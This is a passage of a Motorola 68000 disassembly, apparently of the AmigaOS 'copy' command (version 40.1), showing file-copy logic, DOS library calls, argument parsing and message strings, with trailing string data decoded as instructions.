TST.L -124(A5) ;1502: 4AADFF84
BNE.S LAB_006D ;1506: 6618
TST.L -28(A5) ;1508: 4AADFFE4
BNE.S LAB_006C ;150C: 6606
MOVE.L -104(A5),-116(A5) ;150E: 2B6DFF98FF8C
LAB_006C:
MOVE.L -120(A5),D1 ;1514: 222DFF88
JSR -36(A6) ;1518: 4EAEFFDC
CLR.L -120(A5) ;151C: 42ADFF88
LAB_006D:
LEA LAB_00AE(PC),A0 ;1520: 41FA0648
MOVE.L A0,D1 ;1524: 2208
LEA -116(A5),A1 ;1526: 43EDFF8C
MOVE.L A1,D2 ;152A: 2409
JSR -954(A6) ;152C: 4EAEFC46
TST.L D7 ;1530: 4A87
BEQ.S LAB_006E ;1532: 6706
LEA LAB_00BF(PC),A0 ;1534: 41FA06C4
BRA.S LAB_006F ;1538: 6004
LAB_006E:
LEA LAB_00AF(PC),A0 ;153A: 41FA0642
LAB_006F:
MOVE.L A0,-116(A5) ;153E: 2B48FF8C
LEA LAB_00B0(PC),A0 ;1542: 41FA063E
MOVE.L A0,D1 ;1546: 2208
JSR -954(A6) ;1548: 4EAEFC46
MOVE.L D4,D1 ;154C: 2204
MOVEQ #0,D2 ;154E: 7400
JSR -474(A6) ;1550: 4EAEFE26
MOVEQ #5,D0 ;1554: 7005
MOVE.L D0,-68(A5) ;1556: 2B40FFBC
MOVE.L D4,D0 ;155A: 2004
BSR LAB_00DC ;155C: 6100075E
TST.L D0 ;1560: 4A80
BEQ.S LAB_0070 ;1562: 6710
MOVEA.L -140(A5),A3 ;1564: 266DFF74
MOVE.L A3,D1 ;1568: 220B
MOVEA.L A2,A6 ;156A: 2C4A
JSR -834(A6) ;156C: 4EAEFCBE
BRA LAB_009B ;1570: 6000042C
LAB_0070:
MOVEQ #0,D4 ;1574: 7800
BRA LAB_0092 ;1576: 60000364
LAB_0071:
MOVEA.L 36(A7),A3 ;157A: 266F0024
TST.L -28(A5) ;157E: 4AADFFE4
BEQ.S LAB_0072 ;1582: 6734
TST.L -96(A5) ;1584: 4AADFFA0
BNE.S LAB_0072 ;1588: 662E
MOVE.L -32(A5),D0 ;158A: 202DFFE0
MOVEA.L 46(A7),A0 ;158E: 206F002E
BSR LAB_00D7 ;1592: 61000704
MOVE.L A3,-116(A5) ;1596: 2B4BFF8C
LEA LAB_00C0(PC),A0 ;159A: 41FA0662
MOVE.L A0,D1 ;159E: 2208
LEA -116(A5),A1 ;15A0: 43EDFF8C
MOVE.L A1,D2 ;15A4: 2409
MOVEA.L 46(A7),A6 ;15A6: 2C6F002E
JSR -954(A6) ;15AA: 4EAEFC46
JSR -60(A6) ;15AE: 4EAEFFC4
MOVE.L D0,D1 ;15B2: 2200
JSR -360(A6) ;15B4: 4EAEFE98
LAB_0072:
MOVE.L -112(A5),D7 ;15B8: 2E2DFF90
TST.L D7 ;15BC: 4A87
BNE LAB_0077 ;15BE: 66000086
MOVEA.L -140(A5),A0 ;15C2: 206DFF74
MOVE.L 144(A0),D7 ;15C6: 2E280090
TST.L D7 ;15CA: 4A87
BNE.S LAB_0073 ;15CC: 6602
MOVEQ #8,D7 ;15CE: 7E08
LAB_0073:
MOVE.L D7,D0 ;15D0: 2007
MOVEQ #0,D1 ;15D2: 7200
MOVEA.L 50(A7),A6 ;15D4: 2C6F0032
JSR -684(A6) ;15D8: 4EAEFD54
MOVE.L D0,-56(A5) ;15DC: 2B40FFC8
BNE.S LAB_0077 ;15E0: 6664
CMPI.L #$00000400,D7 ;15E2: 0C8700000400
BGT.S LAB_0074 ;15E8: 6E0A
MOVEQ #103,D4 ;15EA: 7867
CLR.L -116(A5) ;15EC: 42ADFF8C
BRA LAB_0096 ;15F0: 60000340
LAB_0074:
SUBI.L #$00000400,D7 ;15F4: 048700000400
BRA.S LAB_0073 ;15FA: 60D4
LAB_0075:
MOVEQ #64,D1 ;15FC: 7240
LSL.L #6,D1 ;15FE: ED89
MOVEA.L A3,A6 ;1600: 2C4B
JSR -792(A6) ;1602: 4EAEFCE8
TST.L D0 ;1606: 4A80
BEQ.S LAB_0076 ;1608: 6718
MOVEQ #1,D0 ;160A: 7001
MOVE.L D0,-116(A5) ;160C: 2B40FF8C
MOVEQ #76,D1 ;1610: 724C
LSL.L #2,D1 ;1612: E589
MOVEQ #0,D2 ;1614: 7400
JSR -474(A6) ;1616: 4EAEFE26
MOVEQ #0,D1 ;161A: 7200
JSR -462(A6) ;161C: 4EAEFE32
BRA.S LAB_0078 ;1620: 6040
LAB_0076:
MOVEA.L 46(A7),A3 ;1622: 266F002E
MOVE.L -124(A5),D1 ;1626: 222DFF84
MOVE.L -56(A5),D2 ;162A: 242DFFC8
MOVE.L -116(A5),D3 ;162E: 262DFF8C
MOVEA.L A3,A6 ;1632: 2C4B
JSR -48(A6) ;1634: 4EAEFFD0
CMP.L -116(A5),D0 ;1638: B0ADFF8C
BEQ.S LAB_0077 ;163C: 6708
MOVEQ #1,D0 ;163E: 7001
MOVE.L D0,-116(A5) ;1640: 2B40FF8C
BRA.S LAB_0078 ;1644: 601C
LAB_0077:
MOVEA.L 46(A7),A3 ;1646: 266F002E
MOVE.L -120(A5),D1 ;164A: 222DFF88
MOVE.L -56(A5),D2 ;164E: 242DFFC8
MOVE.L D7,D3 ;1652: 2607
MOVEA.L A3,A6 ;1654: 2C4B
JSR -42(A6) ;1656: 4EAEFFD6
MOVE.L D0,-116(A5) ;165A: 2B40FF8C
TST.L D0 ;165E: 4A80
BGT.S LAB_0075 ;1660: 6E9A
LAB_0078:
TST.L -116(A5) ;1662: 4AADFF8C
BEQ.S LAB_0079 ;1666: 6708
MOVEA.L A3,A6 ;1668: 2C4B
JSR -132(A6) ;166A: 4EAEFF7C
MOVE.L D0,D4 ;166E: 2800
LAB_0079:
MOVE.L -124(A5),D1 ;1670: 222DFF84
MOVEA.L A3,A6 ;1674: 2C4B
JSR -36(A6) ;1676: 4EAEFFDC
CLR.L -124(A5) ;167A: 42ADFF84
MOVE.L -120(A5),D1 ;167E: 222DFF88
JSR -36(A6) ;1682: 4EAEFFDC
CLR.L -120(A5) ;1686: 42ADFF88
TST.L D5 ;168A: 4A85
BEQ.S LAB_007B ;168C: 6716
MOVE.L D5,D1 ;168E: 2205
JSR -126(A6) ;1690: 4EAEFF82
MOVE.L D0,D6 ;1694: 2C00
MOVEA.L 36(A7),A0 ;1696: 206F0024
MOVEA.L -52(A5),A1 ;169A: 226DFFCC
LAB_007A:
MOVE.B (A0)+,(A1)+ ;169E: 12D8
BNE.S LAB_007A ;16A0: 66FC
BRA.S LAB_0080 ;16A2: 6054
LAB_007B:
MOVEA.L -104(A5),A0 ;16A4: 206DFF98
MOVEA.L A0,A1 ;16A8: 2248
LAB_007C:
TST.B (A1)+ ;16AA: 4A19
BNE.S LAB_007C ;16AC: 66FC
SUBQ.L #1,A1 ;16AE: 5389
SUBA.L A0,A1 ;16B0: 93C8
MOVE.L A1,D0 ;16B2: 2009
MOVEQ #80,D1 ;16B4: 7250
CMP.L D1,D0 ;16B6: B081
BCS.S LAB_007E ;16B8: 6532
MOVEA.L -52(A5),A1 ;16BA: 226DFFCC
MOVEA.L 50(A7),A6 ;16BE: 2C6F0032
JSR -690(A6) ;16C2: 4EAEFD4E
MOVEA.L -104(A5),A0 ;16C6: 206DFF98
MOVEA.L A0,A1 ;16CA: 2248
LAB_007D:
TST.B (A1)+ ;16CC: 4A19
BNE.S LAB_007D ;16CE: 66FC
SUBQ.L #1,A1 ;16D0: 5389
SUBA.L A0,A1 ;16D2: 93C8
MOVE.L A1,D0 ;16D4: 2009
ADDQ.L #1,D0 ;16D6: 5280
MOVEQ #0,D1 ;16D8: 7200
JSR -684(A6) ;16DA: 4EAEFD54
MOVE.L D0,-52(A5) ;16DE: 2B40FFCC
TST.L D0 ;16E2: 4A80
BNE.S LAB_007E ;16E4: 6606
MOVEQ #103,D4 ;16E6: 7867
BRA LAB_0096 ;16E8: 60000248
LAB_007E:
MOVEA.L -104(A5),A0 ;16EC: 206DFF98
MOVEA.L -52(A5),A1 ;16F0: 226DFFCC
LAB_007F:
MOVE.B (A0)+,(A1)+ ;16F4: 12D8
BNE.S LAB_007F ;16F6: 66FC
LAB_0080:
MOVE.L -116(A5),D0 ;16F8: 202DFF8C
BEQ LAB_0089 ;16FC: 670000D0
MOVE.L 40(A7),D7 ;1700: 2E2F0028
MOVEA.L 46(A7),A2 ;1704: 246F002E
TST.L D4 ;1708: 4A84
BEQ LAB_0086 ;170A: 6700008C
TST.L D0 ;170E: 4A80
BPL.S LAB_0081 ;1710: 6A06
LEA LAB_00C2(PC),A0 ;1712: 41FA04F2
BRA.S LAB_0082 ;1716: 6004
LAB_0081:
LEA LAB_00C3(PC),A0 ;1718: 41FA04F2
LAB_0082:
MOVE.L A0,-116(A5) ;171C: 2B48FF8C
LEA LAB_00C4(PC),A0 ;1720: 41FA04F0
MOVE.L A0,D1 ;1724: 2208
LEA -116(A5),A1 ;1726: 43EDFF8C
MOVE.L A1,D2 ;172A: 2409
MOVEA.L A2,A6 ;172C: 2C4A
JSR -954(A6) ;172E: 4EAEFC46
MOVE.L D4,D1 ;1732: 2204
MOVEQ #0,D2 ;1734: 7400
JSR -474(A6) ;1736: 4EAEFE26
MOVEQ #10,D0 ;173A: 700A
MOVE.L D0,-68(A5) ;173C: 2B40FFBC
LEA LAB_00C2(PC),A0 ;1740: 41FA04C4
MOVE.L -116(A5),D0 ;1744: 202DFF8C
CMP.L A0,D0 ;1748: B088
BEQ.S LAB_0083 ;174A: 6708
MOVEQ #32,D0 ;174C: 7020
NOT.B D0 ;174E: 4600
CMP.L D0,D4 ;1750: B880
BEQ.S LAB_0084 ;1752: 671C
LAB_0083:
TST.L D7 ;1754: 4A87
BEQ.S LAB_0084 ;1756: 6718
LEA LAB_00C6(PC),A0 ;1758: 41FA04CA
MOVE.L A0,D1 ;175C: 2208
LEA -52(A5),A1 ;175E: 43EDFFCC
MOVE.L A1,D2 ;1762: 2409
JSR -954(A6) ;1764: 4EAEFC46
MOVE.L -52(A5),D1 ;1768: 222DFFCC
JSR -72(A6) ;176C: 4EAEFFB8
LAB_0084:
MOVEQ #-1,D0 ;1770: 70FF
CMP.L D0,D6 ;1772: BC80
BEQ.S LAB_0085 ;1774: 6706
MOVE.L D6,D1 ;1776: 2206
JSR -126(A6) ;1778: 4EAEFF82
LAB_0085:
MOVE.L D4,D0 ;177C: 2004
BSR LAB_00DC ;177E: 6100053C
TST.L D0 ;1782: 4A80
BEQ LAB_0092 ;1784: 67000156
MOVEA.L -140(A5),A3 ;1788: 266DFF74
MOVE.L A3,D1 ;178C: 220B
MOVEA.L A2,A6 ;178E: 2C4A
JSR -834(A6) ;1790: 4EAEFCBE
BRA LAB_009B ;1794: 60000208
LAB_0086:
TST.L D7 ;1798: 4A87
BEQ.S LAB_0087 ;179A: 671A
LEA LAB_00C6(PC),A0 ;179C: 41FA0486
MOVE.L A0,D1 ;17A0: 2208
LEA -52(A5),A1 ;17A2: 43EDFFCC
MOVE.L A1,D2 ;17A6: 2409
MOVEA.L A2,A6 ;17A8: 2C4A
JSR -954(A6) ;17AA: 4EAEFC46
MOVE.L -52(A5),D1 ;17AE: 222DFFCC
JSR -72(A6) ;17B2: 4EAEFFB8
LAB_0087:
MOVEQ #-1,D0 ;17B6: 70FF
CMP.L D0,D6 ;17B8: BC80
BEQ.S LAB_0088 ;17BA: 6708
MOVE.L D6,D1 ;17BC: 2206
MOVEA.L A2,A6 ;17BE: 2C4A
JSR -126(A6) ;17C0: 4EAEFF82
LAB_0088:
MOVEQ #0,D0 ;17C4: 7000
MOVE.L D0,-116(A5) ;17C6: 2B40FF8C
BRA LAB_0097 ;17CA: 6000016C
LAB_0089:
TST.L -112(A5) ;17CE: 4AADFF90
BNE.S LAB_008A ;17D2: 6610
MOVEA.L -56(A5),A1 ;17D4: 226DFFC8
MOVEA.L 50(A7),A6 ;17D8: 2C6F0032
JSR -690(A6) ;17DC: 4EAEFD4E
CLR.L -56(A5) ;17E0: 42ADFFC8
LAB_008A:
MOVEA.L 46(A7),A2 ;17E4: 246F002E
TST.L -28(A5) ;17E8: 4AADFFE4
BEQ.S LAB_008B ;17EC: 6712
TST.L -96(A5) ;17EE: 4AADFFA0
BNE.S LAB_008B ;17F2: 660C
LEA LAB_00CA(PC),A0 ;17F4: 41FA044E
MOVE.L A0,D1 ;17F8: 2208
MOVEA.L A2,A6 ;17FA: 2C4A
JSR -948(A6) ;17FC: 4EAEFC4C
LAB_008B:
TST.L 40(A7) ;1800: 4AAF0028
BEQ LAB_0091 ;1804: 670000C8
MOVE #$0001,-176(A5) ;1808: 3B7C0001FF50
MOVEA.L -140(A5),A3 ;180E: 266DFF74
TST.L -80(A5) ;1812: 4AADFFB0
BNE.S LAB_008C ;1816: 662A
MOVE.L 136(A3),D0 ;1818: 202B0088
ANDI #$FFEF,D0 ;181C: 0240FFEF
MOVE.L D0,D2 ;1820: 2400
MOVE.L -52(A5),D1 ;1822: 222DFFCC
MOVEA.L A2,A6 ;1826: 2C4A
JSR -186(A6) ;1828: 4EAEFF46
TST.L D0 ;182C: 4A80
BNE.S LAB_008C ;182E: 6612
JSR -132(A6) ;1830: 4EAEFF7C
MOVEQ #46,D1 ;1834: 722E
NOT.B D1 ;1836: 4601
CMP.L D1,D0 ;1838: B081
BEQ.S LAB_008C ;183A: 6706
MOVEQ #0,D0 ;183C: 7000
MOVE D0,-176(A5) ;183E: 3B40FF50
LAB_008C:
TST -176(A5) ;1842: 4A6DFF50
BEQ.S LAB_008E ;1846: 6732
TST.L -84(A5) ;1848: 4AADFFAC
BNE.S LAB_008D ;184C: 6606
TST.L -88(A5) ;184E: 4AADFFA8
BEQ.S LAB_008E ;1852: 6726
LAB_008D:
LEA 152(A3),A0 ;1854: 41EB0098
MOVE.L A0,D2 ;1858: 2408
MOVE.L -52(A5),D1 ;185A: 222DFFCC
MOVEA.L A2,A6 ;185E: 2C4A
JSR -396(A6) ;1860: 4EAEFE74
TST.L D0 ;1864: 4A80
BNE.S LAB_008E ;1866: 6612
JSR -132(A6) ;1868: 4EAEFF7C
MOVEQ #46,D1 ;186C: 722E
NOT.B D1 ;186E: 4601
CMP.L D1,D0 ;1870: B081
BEQ.S LAB_008E ;1872: 6706
MOVEQ #0,D0 ;1874: 7000
MOVE D0,-176(A5) ;1876: 3B40FF50
LAB_008E:
TST -176(A5) ;187A: 4A6DFF50
BEQ.S LAB_0090 ;187E: 6732
TST.L -88(A5) ;1880: 4AADFFA8
BNE.S LAB_008F ;1884: 6606
TST.L -76(A5) ;1886: 4AADFFB4
BEQ.S LAB_0090 ;188A: 6726
LAB_008F:
LEA 164(A3),A0 ;188C: 41EB00A4
MOVE.L A0,D2 ;1890: 2408
MOVE.L -52(A5),D1 ;1892: 222DFFCC
MOVEA.L A2,A6 ;1896: 2C4A
JSR -180(A6) ;1898: 4EAEFF4C
TST.L D0 ;189C: 4A80
BNE.S LAB_0090 ;189E: 6612
JSR -132(A6) ;18A0: 4EAEFF7C
MOVEQ #46,D1 ;18A4: 722E
NOT.B D1 ;18A6: 4601
CMP.L D1,D0 ;18A8: B081
BEQ.S LAB_0090 ;18AA: 6706
MOVEQ #0,D0 ;18AC: 7000
MOVE D0,-176(A5) ;18AE: 3B40FF50
LAB_0090:
TST -176(A5) ;18B2: 4A6DFF50
BNE.S LAB_0091 ;18B6: 6616
MOVEA.L A2,A6 ;18B8: 2C4A
JSR -132(A6) ;18BA: 4EAEFF7C
MOVE.L D0,D1 ;18BE: 2200
MOVE.L -52(A5),D2 ;18C0: 242DFFCC
JSR -474(A6) ;18C4: 4EAEFE26
MOVEQ #5,D0 ;18C8: 7005
MOVE.L D0,-68(A5) ;18CA: 2B40FFBC
LAB_0091:
MOVEQ #-1,D0 ;18CE: 70FF
CMP.L D0,D6 ;18D0: BC80
BEQ.S LAB_0092 ;18D2: 6708
MOVE.L D6,D1 ;18D4: 2206
MOVEA.L A2,A6 ;18D6: 2C4A
JSR -126(A6) ;18D8: 4EAEFF82
LAB_0092:
MOVEA.L -160(A5),A0 ;18DC: 206DFF60
MOVE.L (A0),D0 ;18E0: 2010
MOVEA.L -140(A5),A0 ;18E2: 206DFF74
MOVEA.L A2,A1 ;18E6: 224A
BSR LAB_00D0 ;18E8: 6100037A
MOVE.L D0,D7 ;18EC: 2E00
TST.L D7 ;18EE: 4A87
BEQ LAB_0050 ;18F0: 6700F870
LAB_0093:
MOVEQ #116,D0 ;18F4: 7074
ADD.L D0,D0 ;18F6: D080
CMP.L D0,D7 ;18F8: BE80
BEQ.S LAB_0094 ;18FA: 670E
TST.L D7 ;18FC: 4A87
BEQ.S LAB_0094 ;18FE: 670A
MOVEA.L A2,A6 ;1900: 2C4A
JSR -132(A6) ;1902: 4EAEFF7C
MOVE.L D0,D4 ;1906: 2800
BRA.S LAB_0096 ;1908: 6028
LAB_0094:
MOVEA.L 46(A7),A2 ;190A: 246F002E
MOVE.L -140(A5),D1 ;190E: 222DFF74
MOVEA.L A2,A6 ;1912: 2C4A
JSR -834(A6) ;1914: 4EAEFCBE
LAB_0095:
MOVEA.L -64(A5),A1 ;1918: 226DFFC0
MOVEA.L (A1)+,A0 ;191C: 2059
MOVE.L A0,-60(A5) ;191E: 2B48FFC4
MOVE.L A1,-64(A5) ;1922: 2B49FFC0
MOVE.L A0,D0 ;1926: 2008
BNE LAB_0046 ;1928: 6600F692
MOVEA.L -140(A5),A3 ;192C: 266DFF74
BRA.S LAB_009B ;1930: 606C
LAB_0096:
MOVEQ #20,D0 ;1932: 7014
MOVE.L D0,-68(A5) ;1934: 2B40FFBC
LAB_0097:
MOVEA.L 46(A7),A2 ;1938: 246F002E
MOVEA.L -140(A5),A3 ;193C: 266DFF74
MOVE.L A3,D1 ;1940: 220B
MOVEA.L A2,A6 ;1942: 2C4A
JSR -834(A6) ;1944: 4EAEFCBE
LAB_0098:
MOVEQ #116,D0 ;1948: 7074
ADD.L D0,D0 ;194A: D080
CMP.L D0,D4 ;194C: B880
BNE.S LAB_0099 ;194E: 6606
MOVEQ #0,D4 ;1950: 7800
CLR.L -68(A5) ;1952: 42ADFFBC
LAB_0099:
TST.L D4 ;1956: 4A84
BEQ.S LAB_009B ;1958: 6744
CMPI.L #$00000130,D4 ;195A: 0C8400000130
BEQ.S LAB_009B ;1960: 673C
MOVE.L -52(A5),D1 ;1962: 222DFFCC
MOVEQ #80,D2 ;1966: 7450
MOVEA.L A2,A6 ;1968: 2C4A
JSR -576(A6) ;196A: 4EAEFDC0
LEA LAB_00CC(PC),A1 ;196E: 43FA02DE
MOVE.L A1,D1 ;1972: 2209
LEA -52(A5),A6 ;1974: 4DEDFFCC
MOVE.L A6,D2 ;1978: 240E
MOVEA.L A2,A6 ;197A: 2C4A
JSR -954(A6) ;197C: 4EAEFC46
TST.L -116(A5) ;1980: 4AADFF8C
BEQ.S LAB_009A ;1984: 6710
LEA LAB_00CE(PC),A0 ;1986: 41FA02CC
MOVE.L A0,D1 ;198A: 2208
LEA -116(A5),A1 ;198C: 43EDFF8C
MOVE.L A1,D2 ;1990: 2409
JSR -954(A6) ;1992: 4EAEFC46
LAB_009A:
MOVE.L D4,D1 ;1996: 2204
MOVEQ #0,D2 ;1998: 7400
JSR -474(A6) ;199A: 4EAEFE26
LAB_009B:
TST.L -152(A5) ;199E: 4AADFF68
BEQ.S LAB_009E ;19A2: 673C
CLR -166(A5) ;19A4: 426DFF5A
BRA.S LAB_009D ;19A8: 6020
LAB_009C:
MOVE -166(A5),D0 ;19AA: 302DFF5A
MOVE.L D0,D1 ;19AE: 2200
ADDQ #1,D1 ;19B0: 5241
MOVEQ #0,D2 ;19B2: 7400
MOVE D0,D2 ;19B4: 3400
ASL.L #2,D2 ;19B6: E582
MOVEA.L -152(A5),A0 ;19B8: 206DFF68
ADDA.L D2,A0 ;19BC: D1C2
MOVE D1,-166(A5) ;19BE: 3B41FF5A
MOVE.L (A0),D1 ;19C2: 2210
MOVEA.L A2,A6 ;19C4: 2C4A
JSR -90(A6) ;19C6: 4EAEFFA6
LAB_009D:
MOVE -166(A5),D0 ;19CA: 302DFF5A
CMP -174(A5),D0 ;19CE: B06DFF52
BCS.S LAB_009C ;19D2: 65D6
MOVEA.L -152(A5),A1 ;19D4: 226DFF68
MOVEA.L 50(A7),A6 ;19D8: 2C6F0032
JSR -690(A6) ;19DC: 4EAEFD4E
LAB_009E:
TST.L -156(A5) ;19E0: 4AADFF64
BEQ.S LAB_00A1 ;19E4: 673E
CLR -166(A5) ;19E6: 426DFF5A
BRA.S LAB_00A0 ;19EA: 6022
LAB_009F:
MOVE -166(A5),D0 ;19EC: 302DFF5A
MOVE.L D0,D1 ;19F0: 2200
ADDQ #1,D1 ;19F2: 5241
MOVEQ #0,D2 ;19F4: 7400
MOVE D0,D2 ;19F6: 3400
ASL.L #2,D2 ;19F8: E582
MOVEA.L -156(A5),A0 ;19FA: 206DFF64
ADDA.L D2,A0 ;19FE: D1C2
MOVE D1,-166(A5) ;1A00: 3B41FF5A
MOVEA.L (A0),A1 ;1A04: 2250
MOVEA.L 50(A7),A6 ;1A06: 2C6F0032
JSR -690(A6) ;1A0A: 4EAEFD4E
LAB_00A0:
MOVE -166(A5),D0 ;1A0E: 302DFF5A
CMP -174(A5),D0 ;1A12: B06DFF52
BCS.S LAB_009F ;1A16: 65D4
MOVEA.L -156(A5),A1 ;1A18: 226DFF64
MOVEA.L 50(A7),A6 ;1A1C: 2C6F0032
JSR -690(A6) ;1A20: 4EAEFD4E
LAB_00A1:
MOVEA.L -52(A5),A1 ;1A24: 226DFFCC
MOVEA.L 50(A7),A6 ;1A28: 2C6F0032
JSR -690(A6) ;1A2C: 4EAEFD4E
MOVEA.L -48(A5),A1 ;1A30: 226DFFD0
JSR -690(A6) ;1A34: 4EAEFD4E
MOVEA.L A3,A1 ;1A38: 224B
JSR -690(A6) ;1A3A: 4EAEFD4E
MOVEA.L -56(A5),A1 ;1A3E: 226DFFC8
JSR -690(A6) ;1A42: 4EAEFD4E
MOVEA.L -132(A5),A1 ;1A46: 226DFF7C
JSR -690(A6) ;1A4A: 4EAEFD4E
MOVEA.L -44(A5),A3 ;1A4E: 266DFFD4
MOVE.L A3,D0 ;1A52: 200B
BEQ.S LAB_00A2 ;1A54: 6708
MOVE.L A3,D1 ;1A56: 220B
MOVEA.L A2,A6 ;1A58: 2C4A
JSR -858(A6) ;1A5A: 4EAEFCA6
LAB_00A2:
MOVE.L -120(A5),D0 ;1A5E: 202DFF88
BEQ.S LAB_00A3 ;1A62: 6708
MOVE.L D0,D1 ;1A64: 2200
MOVEA.L A2,A6 ;1A66: 2C4A
JSR -36(A6) ;1A68: 4EAEFFDC
LAB_00A3:
MOVE.L -124(A5),D0 ;1A6C: 202DFF84
BEQ.S LAB_00A4 ;1A70: 6708
MOVE.L D0,D1 ;1A72: 2200
MOVEA.L A2,A6 ;1A74: 2C4A
JSR -36(A6) ;1A76: 4EAEFFDC
LAB_00A4:
MOVE.L D5,D1 ;1A7A: 2205
MOVEA.L A2,A6 ;1A7C: 2C4A
JSR -90(A6) ;1A7E: 4EAEFFA6
MOVE.L -128(A5),D1 ;1A82: 222DFF80
JSR -90(A6) ;1A86: 4EAEFFA6
MOVEA.L -136(A5),A3 ;1A8A: 266DFF78
MOVEA #$FFFF,A0 ;1A8E: 307CFFFF
CMPA.L A3,A0 ;1A92: B1CB
BEQ.S LAB_00A5 ;1A94: 670E
MOVEA #$0004,A0 ;1A96: 307C0004
MOVEA.L (A0),A1 ;1A9A: 2250
MOVEA.L 276(A1),A0 ;1A9C: 20690114
MOVE.L A3,184(A0) ;1AA0: 214B00B8
LAB_00A5:
MOVE.L D4,D1 ;1AA4: 2204
JSR -462(A6) ;1AA6: 4EAEFE32
MOVEA.L A2,A1 ;1AAA: 224A
MOVEA.L 50(A7),A6 ;1AAC: 2C6F0032
JSR -414(A6) ;1AB0: 4EAEFE62
BRA.S LAB_00A7 ;1AB4: 6010
LAB_00A6:
MOVEA #$0004,A0 ;1AB6: 307C0004
MOVEA.L (A0),A1 ;1ABA: 2250
MOVEA.L 276(A1),A0 ;1ABC: 20690114
MOVEQ #122,D0 ;1AC0: 707A
MOVE.L D0,148(A0) ;1AC2: 21400094
LAB_00A7:
MOVE.L -68(A5),D0 ;1AC6: 202DFFBC
MOVEM.L (A7)+,D2-D7/A2-A3/A6 ;1ACA: 4CDF4CFC
UNLK A5 ;1ACE: 4E5D
RTS ;1AD0: 4E75
LAB_00A8:
DC.W $0000 ;1AD2
LAB_00A9:
DC.W $646F ;1AD4
DC.W $732E ;1AD6
DC.W $6C69 ;1AD8
BHI.S LAB_00AC ;1ADA: 6272
BSR.S LAB_00AD ;1ADC: 6172
DC.W $7900 ;1ADE
LAB_00AA:
NOT (A2) ;1AE0: 4652
DC.W $4F4D ;1AE2
MOVE.L A5,11348(A7) ;1AE4: 2F4D2C54
DC.W $4F2F ;1AE8
DC.W $412C ;1AEA
DC.W $414C ;1AEC
DC.W $4C2F ;1AEE
SUBQ.B #1,20821(A4) ;1AF0: 532C5155
DC.W $4945 ;1AF4
ADDQ.B #2,21292(A7) ;1AF6: 542F532C
CLR (A5) ;1AFA: 4255
DC.W $463D ;1AFC
CLR (A5) ;1AFE: 4255
NOT D6 ;1B00: 4646
DC.W $4552 ;1B02
MOVE.L A3,12110(A7) ;1B04: 2F4B2F4E
MOVEA.L D3,A6 ;1B08: 2C43
DC.W $4C4F ;1B0A
TRAP #5 ;1B0C: 4E45
MOVE.L (A3),11332(A7) ;1B0E: 2F532C44
DC.W $4154 ;1B12
DC.W $4553 ;1B14
MOVE.L (A3),11342(A7) ;1B16: 2F532C4E
DC.W $4F50 ;1B1A
ADDQ #1,A7 ;1B1C: 524F
DC.W $2F53 ;1B1E
MOVEA.L D3,A6 ;1B20: 2C43
DC.W $4F4D ;1B22
MOVE.L (A3),11342(A7) ;1B24: 2F532C4E
DC.W $4F52 ;1B28
DC.W $4551 ;1B2A
MOVE.L (A3),36(A7) ;1B2C: 2F530024
ADDQ #3,D5 ;1B30: 5645
DC.W $523A ;1B32
MOVEA.L -(A3),A0 ;1B34: 2063
BLE.S LAB_00B3 ;1B36: 6F70
DC.W $7920 ;1B38
DC.W $3430 ;1B3A
MOVE.L 40(A1,D2.W),D7 ;1B3C: 2E312028
MOVE 12846(A6),-(A4) ;1B40: 392E322E
DC.W $3933 ;1B44
MOVE.L A2,-(A4) ;1B46: 290A
BTST D6,D0 ;1B48: 0D00
LAB_00AB:
SUBQ #3,27748(A1) ;1B4A: 57696C64
LAB_00AC:
DC.W $6361 ;1B4E
LAB_00AD:
MOVEQ #100,D1 ;1B50: 7264
MOVEA.L -(A4),A0 ;1B52: 2064
DC.W $6573 ;1B54
MOVEQ #105,D2 ;1B56: 7469
DC.W $6E61 ;1B58
MOVEQ #105,D2 ;1B5A: 7469
BLE.S LAB_00B9 ;1B5C: 6F6E
MOVEA.L 28278(A1),A0 ;1B5E: 20696E76
BSR.S LAB_00BA ;1B62: 616C
BVS.S LAB_00B8 ;1B64: 6964
MOVE.L A2,D7 ;1B66: 2E0A
DC.W $0000 ;1B68
LAB_00AE:
DC.W $4361 ;1B6A
DC.W $6E27 ;1B6C
MOVEQ #32,D2 ;1B6E: 7420
BLE.S LAB_00BB ;1B70: 6F70
BCS.S LAB_00BB ;1B72: 656E
MOVE.L -(A5),D0 ;1B74: 2025
DC.W $7320 ;1B76
DC.W $666F ;1B78
MOVEQ #32,D1 ;1B7A: 7220
DC.W $0000 ;1B7C
LAB_00AF:
BVS.S LAB_00BE ;1B7E: 696E
DC.W $0000 ;1B80
LAB_00B0:
DC.W $2573 ;1B82
MOVEQ #117,D0 ;1B84: 7075
MOVEQ #32,D2 ;1B86: 7420
MOVE.L -(A0),-(A6) ;1B88: 2D20
DC.W $0000 ;1B8A
LAB_00B1:
DC.W $433A ;1B8C
DC.W $0000 ;1B8E
LAB_00B2:
NEG -(A5) ;1B90: 4465
DC.W $7374 ;1B92
BVS.S LAB_00C1 ;1B94: 696E
BSR.S LAB_00C3 ;1B96: 6174
DC.W $696F ;1B98
BGT.S LAB_00B5 ;1B9A: 6E20
DC.W $6D75 ;1B9C
DC.W $7374 ;1B9E
MOVEA.L -(A2),A0 ;1BA0: 2062
BCS.S LAB_00B6 ;1BA2: 6520
BSR.S LAB_00B7 ;1BA4: 6120
DC.W $6469 ;1BA6
LAB_00B3:
MOVEQ #101,D1 ;1BA8: 7265
BLS.S LAB_00C5 ;1BAA: 6374
BLE.S LAB_00C5 ;1BAC: 6F72
DC.W $792E ;1BAE
DC.W $0A00 ;1BB0
LAB_00B4:
MOVE.L -(A0),D0 ;1BB2: 2020
MOVE.L -(A5),D0 ;1BB4: 2025
DC.W $7320 ;1BB6
MOVE.L -(A0),D0 ;1BB8: 2020
SUBQ #5,-(A3) ;1BBA: 5B63
LAB_00B5:
MOVEQ #101,D1 ;1BBC: 7265
BSR.S LAB_00C8 ;1BBE: 6174
BCS.S LAB_00C7 ;1BC0: 6564
DC.W $5D0A ;1BC2
LAB_00B6:
DC.W $0000 ;1BC4
LAB_00B7:
DC.W $2573 ;1BC6
DC.W $2028 ;1BC8
LAB_00B8:
DC.W $4469 ;1BCA
LAB_00B9:
MOVEQ #41,D1 ;1BCC: 7229
DC.W $0000 ;1BCE
LAB_00BA:
DC.W $0A49 ;1BD0
BGT.S LAB_00C9 ;1BD2: 6E66
BVS.S LAB_00CA ;1BD4: 696E
BVS.S LAB_00CB ;1BD6: 6974
BCS.S LAB_00BF ;1BD8: 6520
DC.W $6C6F ;1BDA
BLE.S LAB_00CC ;1BDC: 6F70
MOVEA.L 28192(A1),A0 ;1BDE: 20696E20
LAB_00BB:
